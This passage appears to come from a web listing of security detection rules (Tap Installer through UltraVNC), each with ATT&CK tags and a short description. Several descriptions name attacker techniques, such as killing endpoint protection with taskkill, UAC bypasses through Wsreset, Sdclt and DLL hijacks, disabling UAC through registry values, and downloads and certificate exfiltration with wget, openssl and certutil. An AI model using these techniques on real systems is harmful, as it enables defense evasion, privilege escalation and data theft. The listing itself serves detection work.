Aug 12, 2024 · attack.exfiltration attack.t1048 ·
Share on:

Detects the installation of a well-known TAP driver service. This could be a sign of potential preparation for data exfiltration using tunnelling techniques.

Read More
Tap Installer Execution

Aug 12, 2024 · attack.exfiltration attack.t1048 ·
Share on:

Well-known TAP software installation. Possible preparation for data exfiltration using tunneling techniques

Read More
Taskkill Symantec Endpoint Protection

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects one of the possible scenarios for disabling Symantec Endpoint Protection. Symantec Endpoint Protection antivirus software services incorrectly implement the protected service mechanism. As a result, the NT AUTHORITY/SYSTEM user can execute the taskkill /im command several times ccSvcHst.exe /f, thereby killing the process belonging to the service, and thus shutting down the service.

Read More
Taskmgr as LOCAL_SYSTEM

Aug 12, 2024 · attack.defense-evasion attack.t1036 ·
Share on:

Detects the creation of taskmgr.exe process in context of LOCAL_SYSTEM

Read More
Tasks Folder Evasion

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.execution attack.t1574.002 ·
Share on:

The Tasks folder in system32 and syswow64 are globally writable paths. Adversaries can take advantage of this and load or influence any script hosts or ANY .NET Application in Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr

Read More
TeamViewer Domain Query By Non-TeamViewer Application

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects DNS queries to a TeamViewer domain only resolved by a TeamViewer client by an image that isn't named TeamViewer (sometimes used by threat actors for obfuscation)

Read More
TeamViewer Log File Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1070.004 ·
Share on:

Detects the deletion of the TeamViewer log files which may indicate an attempt to destroy forensic evidence

Read More
TeamViewer Remote Session

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects the creation of log files during a TeamViewer remote session

Read More
Telegram API Access

Aug 12, 2024 · attack.defense-evasion attack.command-and-control attack.t1071.001 attack.t1102.002 ·
Share on:

Detects suspicious requests to Telegram API without the usual Telegram User-Agent

Read More
Telegram Bot API Request

Aug 12, 2024 · attack.command-and-control attack.t1102.002 ·
Share on:

Detects suspicious DNS queries to api.telegram.org used by Telegram Bots of any kind

Read More
Temporary Access Pass Added To An Account

Aug 12, 2024 · attack.persistence attack.t1078.004 ·
Share on:

Detects when a temporary access pass (TAP) is added to an account. TAPs added to priv accounts should be investigated

Read More
Terminal Server Client Connection History Cleared - Registry

Aug 12, 2024 · attack.defense-evasion attack.t1070 attack.t1112 ·
Share on:

Detects the deletion of registry keys containing the MSTSC connection history

Read More
Terminal Service Process Spawn

Aug 12, 2024 · attack.initial-access attack.t1190 attack.lateral-movement attack.t1210 car.2013-07-002 ·
Share on:

Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708)

Read More
TerraMaster TOS CVE-2020-28188

Aug 12, 2024 · attack.t1190 attack.initial-access cve.2020-28188 detection.emerging-threats ·
Share on:

Detects the exploitation of the TerraMaster TOS vulnerability described in CVE-2020-28188

Read More
Testing Usage of Uncommonly Used Port

Aug 12, 2024 · attack.command-and-control attack.t1571 ·
Share on:

Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443.

Read More
The Windows Defender Firewall Service Failed To Load Group Policy

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Detects activity when The Windows Defender Firewall service failed to load Group Policy

Read More
Third Party Software DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects DLL sideloading of DLLs that are part of third party software (zoom, discord....etc)

Read More
Time Machine Backup Deletion Attempt Via Tmutil - MacOS

Aug 12, 2024 · attack.impact attack.t1490 ·
Share on:

Detects deletion attempts of MacOS Time Machine backups via the native backup utility "tmutil". An adversary may perform this action before launching a ransonware attack to prevent the victim from restoring their files.

Read More
Time Machine Backup Disabled Via Tmutil - MacOS

Aug 12, 2024 · attack.impact attack.t1490 ·
Share on:

Detects disabling of Time Machine (Apple's automated backup utility software) via the native macOS backup utility "tmutil". An attacker can use this to prevent backups from occurring.

Read More
Time Travel Debugging Utility Usage

Aug 12, 2024 · attack.defense-evasion attack.credential-access attack.t1218 attack.t1003.001 ·
Share on:

Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.

Read More
Time Travel Debugging Utility Usage - Image

Aug 12, 2024 · attack.defense-evasion attack.credential-access attack.t1218 attack.t1003.001 ·
Share on:

Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.

Read More
Tomcat WebServer Logs Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1070 ·
Share on:

Detects the deletion of tomcat WebServer logs which may indicate an attempt to destroy forensic evidence

Read More
Too Many Global Admins

Aug 12, 2024 · attack.t1078 attack.persistence attack.privilege-escalation ·
Share on:

Identifies an event where there are there are too many accounts assigned the Global Administrator role.

Read More
Tor Client/Browser Execution

Aug 12, 2024 · attack.command-and-control attack.t1090.003 ·
Share on:

Detects the use of Tor or Tor-Browser to connect to onion routing networks

Read More
Touch Suspicious Service File

Aug 12, 2024 · attack.defense-evasion attack.t1070.006 ·
Share on:

Detects usage of the "touch" process in service file.

Read More
Transferring Files with Credential Data via Network Shares

Aug 12, 2024 · attack.credential-access attack.t1003.002 attack.t1003.001 attack.t1003.003 ·
Share on:

Transferring files with well-known filenames (sensitive files with credential data) using network shares

Read More
Transferring Files with Credential Data via Network Shares - Zeek

Aug 12, 2024 · attack.credential-access attack.t1003.002 attack.t1003.001 attack.t1003.003 ·
Share on:

Transferring files with well-known filenames (sensitive files with credential data) using network shares

Read More
Trickbot Malware Activity

Aug 12, 2024 · attack.execution attack.t1559 detection.emerging-threats ·
Share on:

Detects Trickbot malware process tree pattern in which "rundll32.exe" is a parent of "wermgr.exe"

Read More
Triple Cross eBPF Rootkit Default LockFile

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects the creation of the file "rootlog" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.

Read More
Triple Cross eBPF Rootkit Default Persistence

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.t1053.003 ·
Share on:

Detects the creation of "ebpfbackdoor" files in both "cron.d" and "sudoers.d" directories. Which both are related to the TripleCross persistence method

Read More
Triple Cross eBPF Rootkit Execve Hijack

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation ·
Share on:

Detects execution of a the file "execve_hijack" which is used by the Triple Cross rootkit as a way to elevate privileges

Read More
Triple Cross eBPF Rootkit Install Commands

Aug 12, 2024 · attack.defense-evasion attack.t1014 ·
Share on:

Detects default install commands of the Triple Cross eBPF rootkit based on the "deployer.sh" script

Read More
TropicTrooper Campaign November 2018

Aug 12, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·
Share on:

Detects TropicTrooper activity, an actor who targeted high-profile organizations in the energy and food and beverage sectors in Asia

Read More
Troubleshooting Pack Cmdlet Execution

Aug 12, 2024 · attack.defense-evasion attack.t1202 ·
Share on:

Detects execution of "TroubleshootingPack" cmdlets to leverage CVE-2022-30190 or action similar to "msdt" lolbin (as described in LOLBAS)

Read More
Trust Access Disable For VBApplications

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects registry changes to Microsoft Office "AccessVBOM" to a value of "1" which disables trust access for VBA on the victim machine and lets attackers execute malicious macros without any Microsoft Office warnings.

Read More
TrustedPath UAC Bypass Pattern

Aug 12, 2024 · attack.defense-evasion attack.t1548.002 ·
Share on:

Detects indicators of a UAC bypass method by mocking directories

Read More
Turla Group Commands May 2020

Aug 12, 2024 · attack.g0010 attack.execution attack.t1059.001 attack.t1053.005 attack.t1027 detection.emerging-threats ·
Share on:

Detects commands used by Turla group as reported by ESET in May 2020

Read More
Turla Group Lateral Movement

Aug 12, 2024 · attack.g0010 attack.execution attack.t1059 attack.lateral-movement attack.t1021.002 attack.discovery attack.t1083 attack.t1135 detection.emerging-threats ·
Share on:

Detects automated lateral movement by Turla group

Read More
Turla Group Named Pipes

Aug 12, 2024 · attack.g0010 attack.execution attack.t1106 detection.emerging-threats ·
Share on:

Detects a named pipe used by Turla group samples

Read More
Turla PNG Dropper Service

Aug 12, 2024 · attack.persistence attack.g0010 attack.t1543.003 detection.emerging-threats ·
Share on:

This method detects malicious services mentioned in Turla PNG dropper report by NCC Group in November 2018

Read More
Turla Service Install

Aug 12, 2024 · attack.persistence attack.g0010 attack.t1543.003 detection.emerging-threats ·
Share on:

This method detects a service install of malicious services mentioned in Carbon Paper - Turla report by ESET

Read More
UAC Bypass Abusing Winsat Path Parsing - File

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)

Read More
UAC Bypass Abusing Winsat Path Parsing - Registry

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)

Read More
UAC Bypass Using .NET Code Profiler on MMC

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using .NET Code Profiler and mmc.exe DLL hijacking (UACMe 39)

Read More
UAC Bypass Using Consent and Comctl32 - File

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)

Read More
UAC Bypass Using Event Viewer RecentViews

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation ·
Share on:

Detects the pattern of UAC Bypass using Event Viewer RecentViews

Read More
UAC Bypass Using EventVwr

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation ·
Share on:

Detects the pattern of a UAC bypass using Windows Event Viewer

Read More
UAC Bypass Using IDiagnostic Profile - File

Aug 12, 2024 · attack.execution attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the creation of a file by "dllhost.exe" in System32 directory part of "IDiagnosticProfileUAC" UAC bypass technique

Read More
UAC Bypass Using IEInstal - File

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)

Read More
UAC Bypass Using Iscsicpl - ImageLoad

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the "iscsicpl.exe" UAC bypass technique that leverages a DLL Search Order hijacking technique to load a custom DLL's from temp or a any user controlled location in the users %PATH%

Read More
UAC Bypass Using MSConfig Token Modification - File

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)

Read More
UAC Bypass Using NTFS Reparse Point - File

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)

Read More
UAC Bypass Using Windows Media Player - File

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)

Read More
UAC Bypass Using Windows Media Player - Registry

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)

Read More
UAC Bypass Using WOW64 Logger DLL Hijack

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using a WoW64 logger DLL hijack (UACMe 30)

Read More
UAC Bypass via Event Viewer

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 car.2019-04-001 ·
Share on:

Detects UAC bypass method using Windows event viewer

Read More
UAC Bypass via ICMLuaUtil

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using ICMLuaUtil Elevated COM interface

Read More
UAC Bypass via Sdclt

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 car.2019-04-001 ·
Share on:

Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53)

Read More
UAC Bypass via Windows Firewall Snap-In Hijack

Aug 12, 2024 · attack.privilege-escalation attack.t1548 ·
Share on:

Detects attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in

Read More
UAC Bypass Via Wsreset

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Unfixed method for UAC bypass from Windows 10. WSReset.exe file associated with the Windows Store. It will run a binary file contained in a low-privilege registry.

Read More
UAC Bypass With Fake DLL

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.privilege-escalation attack.t1548.002 attack.t1574.002 ·
Share on:

Attempts to load dismcore.dll after dropping it

Read More
UAC Disabled

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1548.002 ·
Share on:

Detects when an attacker tries to disable User Account Control (UAC) by setting the registry value "EnableLUA" to 0.

Read More
UAC Notification Disabled

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1548.002 ·
Share on:

Detects when an attacker tries to disable User Account Control (UAC) notification by tampering with the "UACDisableNotify" value. UAC is a critical security feature in Windows that prevents unauthorized changes to the operating system. It prompts the user for permission or an administrator password before allowing actions that could affect the system's operation or change settings that affect other users. When "UACDisableNotify" is set to 1, UAC prompts are suppressed.

Read More
UAC Secure Desktop Prompt Disabled

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1548.002 ·
Share on:

Detects when an attacker tries to change User Account Control (UAC) elevation request destination via the "PromptOnSecureDesktop" value. The "PromptOnSecureDesktop" setting specifically determines whether UAC prompts are displayed on the secure desktop. The secure desktop is a separate desktop environment that's isolated from other processes running on the system. It's designed to prevent malicious software from intercepting or tampering with UAC prompts. When "PromptOnSecureDesktop" is set to 0, UAC prompts are displayed on the user's current desktop instead of the secure desktop. This reduces the level of security because it potentially exposes the prompts to manipulation by malicious software.

Read More
UEFI Persistence Via Wpbbin - FileCreation

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.t1542.001 ·
Share on:

Detects creation of a file named "wpbbin" in the "%systemroot%\system32" directory. Which could be indicative of UEFI based persistence method

Read More
UEFI Persistence Via Wpbbin - ProcessCreation

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.t1542.001 ·
Share on:

Detects execution of the binary "wpbbin" which is used as part of the UEFI based persistence method described in the reference section

Read More
Ufw Force Stop Using Ufw-Init

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Detects attempts to force stop the ufw using ufw-init

Read More
Unauthorized System Time Modification

Aug 12, 2024 · attack.defense-evasion attack.t1070.006 ·
Share on:

Detect scenarios where a potentially unauthorized application or user is modifying the system time.

Read More
UNC2452 PowerShell Pattern

Aug 12, 2024 · attack.execution attack.t1059.001 attack.t1047 detection.emerging-threats ·
Share on:

Detects a specific PowerShell command line pattern used by the UNC2452 actors as mentioned in Microsoft and Symantec reports

Read More
UNC4841 - Barracuda ESG Exploitation Indicators

Aug 12, 2024 · attack.execution attack.persistence attack.defense-evasion detection.emerging-threats ·
Share on:

Detects file indicators as seen used by UNC4841 during their Barracuda ESG zero day exploitation.

Read More
UNC4841 - Download Compressed Files From Temp.sh Using Wget

Aug 12, 2024 · attack.defense-evasion attack.t1140 detection.emerging-threats ·
Share on:

Detects execution of "wget" to download a ".zip" or ".rar" files from "temp.sh". As seen used by UNC4841 during their Barracuda ESG zero day exploitation.

Read More
UNC4841 - Download Tar File From Untrusted Direct IP Via Wget

Aug 12, 2024 · attack.defense-evasion attack.t1140 detection.emerging-threats ·
Share on:

Detects execution of "wget" to download a "tar" from an IP address that doesn't have a trusted certificate. As seen used by UNC4841 during their Barracuda ESG zero day exploitation.

Read More
UNC4841 - Email Exfiltration File Pattern

Aug 12, 2024 · attack.execution attack.persistence attack.defense-evasion detection.emerging-threats ·
Share on:

Detects filename pattern of email related data used by UNC4841 for staging and exfiltration

Read More
UNC4841 - Potential SEASPY Execution

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects execution of specific named binaries which were used by UNC4841 to deploy their SEASPY backdoor

Read More
UNC4841 - SSL Certificate Exfiltration Via Openssl

Aug 12, 2024 · attack.defense-evasion attack.t1140 detection.emerging-threats ·
Share on:

Detects the execution of "openssl" to connect to an IP address. This techniques was used by UNC4841 to exfiltrate SSL certificates and as a C2 channel with named pipes. Investigate commands executed in the temporal vicinity of this command.

Read More
Uncommon Assistive Technology Applications Execution Via AtBroker.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects the start of a non built-in assistive technology applications via "Atbroker.EXE".

Read More
Uncommon AddinUtil.EXE CommandLine Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) with uncommon Addinroot or Pipelineroot paths. An adversary may execute AddinUtil.exe with uncommon Addinroot/Pipelineroot paths that point to the adversaries Addins.Store payload.

Read More
Uncommon Child Process Of AddinUtil.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects uncommon child processes of the Add-In deployment cache updating utility (AddInutil.exe) which could be a sign of potential abuse of the binary to proxy execution via a custom Addins.Store payload.

Read More
Uncommon Child Process Of Appvlp.EXE

Aug 12, 2024 · attack.t1218 attack.defense-evasion attack.execution ·
Share on:

Detects uncommon child processes of Appvlp.EXE Appvlp or the Application Virtualization Utility is included with Microsoft Office. Attackers are able to abuse "AppVLP" to execute shell commands. Normally, this binary is used for Application Virtualization, but it can also be abused to circumvent the ASR file path rule folder or to mark a file as a system file.

Read More
Uncommon Child Process Of BgInfo.EXE

Aug 12, 2024 · attack.execution attack.t1059.005 attack.defense-evasion attack.t1218 attack.t1202 ·
Share on:

Detects uncommon child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript

Read More
Uncommon Child Process Of Defaultpack.EXE

Aug 12, 2024 · attack.t1218 attack.defense-evasion attack.execution ·
Share on:

Detects uncommon child processes of "DefaultPack.EXE" binary as a proxy to launch other programs

Read More
Uncommon Child Process Of Setres.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.t1202 ·
Share on:

Detects uncommon child process of Setres.EXE. Setres.EXE is a Windows server only process and tool that can be used to set the screen resolution. It can potentially be abused in order to launch any arbitrary file with a name containing the word "choice" from the current execution path.

Read More
Uncommon Child Process Spawned By Odbcconf.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218.008 ·
Share on:

Detects an uncommon child process of "odbcconf.exe" binary which normally shouldn't have any child processes.

Read More
Uncommon Child Processes Of SndVol.exe

Aug 12, 2024 · attack.execution ·
Share on:

Detects potentially uncommon child processes of SndVol.exe (the Windows volume mixer)

Read More
Uncommon Extension Shim Database Installation Via Sdbinst.EXE

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1546.011 ·
Share on:

Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims

Read More
Uncommon File Creation By Mysql Daemon Process

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects the creation of files with scripting or executable extensions by Mysql daemon. Which could be an indicator of "User Defined Functions" abuse to download malware.

Read More
Uncommon FileSystem Load Attempt By Format.com

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects the execution of format.com with an uncommon filesystem selection that could indicate a defense evasion activity in which "format.com" is used to load malicious DLL files or other programs.

Read More
Uncommon Link.EXE Parent Process

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects an uncommon parent process of "LINK.EXE". Link.EXE in Microsoft incremental linker. Its a utility usually bundled with Visual Studio installation. Multiple utilities often found in the same folder (editbin.exe, dumpbin.exe, lib.exe, etc) have a hardcode call to the "LINK.EXE" binary without checking its validity. This would allow an attacker to sideload any binary with the name "link.exe" if one of the aforementioned tools get executed from a different location. By filtering the known locations of such utilities we can spot uncommon parent process of LINK.EXE that might be suspicious or malicious.

Read More
Uncommon Microsoft Office Trusted Location Added

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects changes to registry keys related to "Trusted Location" of Microsoft Office where the path is set to something uncommon. Attackers might add additional trusted locations to avoid macro security restrictions.

Read More
Uncommon Network Connection Initiated By Certutil.EXE

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects a network connection initiated by the certutil.exe utility. Attackers can abuse the utility in order to download malware or additional payloads.

Read More
Uncommon One Time Only Scheduled Task At 00:00

Aug 12, 2024 · attack.execution attack.persistence attack.privilege-escalation attack.t1053.005 ·
Share on:

Detects scheduled task creation events that include suspicious actions, and is run once at 00:00

Read More
Uncommon Outbound Kerberos Connection

Aug 12, 2024 · attack.credential-access attack.t1558 attack.lateral-movement attack.t1550.003 ·
Share on:

Detects uncommon outbound network activity via Kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.

Read More
Uncommon Outbound Kerberos Connection - Security

Aug 12, 2024 · attack.lateral-movement attack.t1558.003 ·
Share on:

Detects uncommon outbound network activity via Kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.

Read More
Uncommon Process Access Rights For Target Image

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055.011 ·
Share on:

Detects process access request to uncommon target images with a "PROCESS_ALL_ACCESS" access mask.

Read More
Uncommon Service Installation Image Path

Aug 12, 2024 · attack.persistence attack.privilege-escalation car.2013-09-005 attack.t1543.003 ·
Share on:

Detects uncommon service installation commands by looking at suspicious or uncommon image path values containing references to encoded powershell commands, temporary paths, etc.

Read More
Uncommon Svchost Parent Process

Aug 12, 2024 · attack.defense-evasion attack.t1036.005 ·
Share on:

Detects an uncommon svchost parent process

Read More
Uncommon Userinit Child Process

Aug 12, 2024 · attack.t1037.001 attack.persistence ·
Share on:

Detects uncommon "userinit.exe" child processes, which could be a sign of uncommon shells or login scripts used for persistence.

Read More
Unfamiliar Sign-In Properties

Aug 12, 2024 · attack.t1078 attack.persistence attack.defense-evasion attack.privilege-escalation attack.initial-access ·
Share on:

Detects sign-in with properties that are unfamiliar to the user. The detection considers past sign-in history to look for anomalous sign-ins.

Read More
Uninstall Crowdstrike Falcon Sensor

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Adversaries may disable security tools to avoid possible detection of their tools and activities by uninstalling Crowdstrike Falcon

Read More
Uninstall Sysinternals Sysmon

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects the removal of Sysmon, which could be a potential attempt at defense evasion

Read More
Unix Shell Configuration Modification

Aug 12, 2024 · attack.persistence attack.t1546.004 ·
Share on:

Detect unix shell configuration modification. Adversaries may establish persistence through executing malicious commands triggered when a new shell is opened.

Read More
Unmount Share Via Net.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1070.005 ·
Share on:

Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation

Read More
Unsigned AppX Installation Attempt Using Add-AppxPackage

Aug 12, 2024 · attack.persistence attack.defense-evasion ·
Share on:

Detects usage of the "Add-AppxPackage" or it's alias "Add-AppPackage" to install unsigned AppX packages

Read More
Unsigned AppX Installation Attempt Using Add-AppxPackage - PsScript

Aug 12, 2024 · attack.persistence attack.defense-evasion ·
Share on:

Detects usage of the "Add-AppxPackage" or it's alias "Add-AppPackage" to install unsigned AppX packages

Read More
Unsigned Binary Loaded From Suspicious Location

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

Detects Code Integrity (CI) engine blocking processes from loading unsigned DLLs residing in suspicious locations

Read More
Unsigned DLL Loaded by Windows Utility

Aug 12, 2024 · attack.t1218.011 attack.t1218.010 attack.defense-evasion ·
Share on:

Detects windows utilities loading an unsigned or untrusted DLL. Adversaries often abuse those programs to proxy execution of malicious code.

Read More
Unsigned Image Loaded Into LSASS Process

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Loading unsigned image (DLL, EXE) into LSASS process

Read More
Unsigned Mfdetours.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects DLL sideloading of unsigned "mfdetours.dll". Executing "mftrace.exe" can be abused to attach to an arbitrary process and force load any DLL named "mfdetours.dll" from the current directory of execution.

Read More
Unsigned Module Loaded by ClickOnce Application

Aug 12, 2024 · attack.persistence attack.t1574.002 ·
Share on:

Detects unsigned module load by ClickOnce application.

Read More
Unusual Child Process of dns.exe

Aug 12, 2024 · attack.initial-access attack.t1133 ·
Share on:

Detects an unexpected process spawning from dns.exe which may indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)

Read More
Unusual File Deletion by Dns.exe

Aug 12, 2024 · attack.initial-access attack.t1133 ·
Share on:

Detects an unexpected file being deleted by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)

Read More
Unusual File Download from Direct IP Address

Aug 12, 2024 · attack.defense-evasion attack.t1564.004 ·
Share on:

Detects the download of suspicious file type from URLs with IP

Read More
Unusual File Modification by dns.exe

Aug 12, 2024 · attack.initial-access attack.t1133 ·
Share on:

Detects an unexpected file being modified by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)

Read More
Ursnif Malware C2 URL Pattern

Aug 12, 2024 · attack.initial-access attack.t1566.001 attack.execution attack.t1204.002 attack.command-and-control attack.t1071.001 ·
Share on:

Detects Ursnif C2 traffic.

Read More
Ursnif Malware Download URL Pattern

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects download of Ursnif malware done by dropper documents.

Read More
Usage of Renamed Sysinternals Tools - RegistrySet

Aug 12, 2024 · attack.resource-development attack.t1588.002 ·
Share on:

Detects non-sysinternals tools setting the "accepteula" key which normally is set on sysinternals tool execution

Read More
Usage Of Web Request Commands And Cmdlets

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via CommandLine

Read More
Usage Of Web Request Commands And Cmdlets - ScriptBlock

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via PowerShell scriptblock logs

Read More
USB Device Plugged

Aug 12, 2024 · attack.initial-access attack.t1200 ·
Share on:

Detects plugged/unplugged USB devices

Read More
Use Get-NetTCPConnection

Aug 12, 2024 · attack.discovery attack.t1049 ·
Share on:

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

Read More
Use Get-NetTCPConnection - PowerShell Module

Aug 12, 2024 · attack.discovery attack.t1049 ·
Share on:

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

Read More
Use Icacls to Hide File to Everyone

Aug 12, 2024 · attack.defense-evasion attack.t1564.001 ·
Share on:

Detect use of icacls to deny access for everyone in Users folder sometimes used to hide malicious files

Read More
Use NTFS Short Name in Command Line

Aug 12, 2024 · attack.defense-evasion attack.t1564.004 ·
Share on:

Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection

Read More
Use NTFS Short Name in Image

Aug 12, 2024 · attack.defense-evasion attack.t1564.004 ·
Share on:

Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image based detection

Read More
Use of FSharp Interpreters

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects the execution of FSharp Interpreters "FsiAnyCpu.exe" and "FSi.exe" Both can be used for AWL bypass and to execute F# code via scripts or inline.

Read More
Use Of Hidden Paths Or Files

Aug 12, 2024 · attack.defense-evasion attack.t1574.001 ·
Share on:

Detects calls to hidden files or files located in hidden directories in NIX systems.

Read More
Use of Legacy Authentication Protocols

Aug 12, 2024 · attack.initial-access attack.credential-access attack.t1078.004 attack.t1110 ·
Share on:

Alert on when legacy authentication has been used on an account

Read More
Use of OpenConsole

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects usage of OpenConsole binary as a LOLBIN to launch other binaries to bypass application Whitelisting

Read More
Use of Pcalua For Execution

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects execition of commands and binaries from the context of The program compatibility assistant (Pcalua.exe). This can be used as a LOLBIN in order to bypass application whitelisting.

Read More
Use of Remote.exe

Aug 12, 2024 · attack.defense-evasion attack.t1127 ·
Share on:

Remote.exe is part of WinDbg in the Windows SDK and can be used for AWL bypass and running remote files.

Read More
Use of Scriptrunner.exe

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

The "ScriptRunner.exe" binary can be abused to proxy execution through it and bypass possible whitelisting

Read More
Use Of The SFTP.EXE Binary As A LOLBIN

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects the usage of the "sftp.exe" binary as a LOLBIN by abusing the "-D" flag

Read More
Use of TTDInject.exe

Aug 12, 2024 · attack.defense-evasion attack.t1127 ·
Share on:

Detects the executiob of TTDInject.exe, which is used by Windows 10 v1809 and newer to debug time travel (underlying call of tttracer.exe)

Read More
Use of UltraVNC Remote Access Software

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

An adversary may use legitimate desktop support and remote access software,to establish an interactive command and control channel to target systems within networks

Read More
Use of VisualUiaVerifyNative.exe

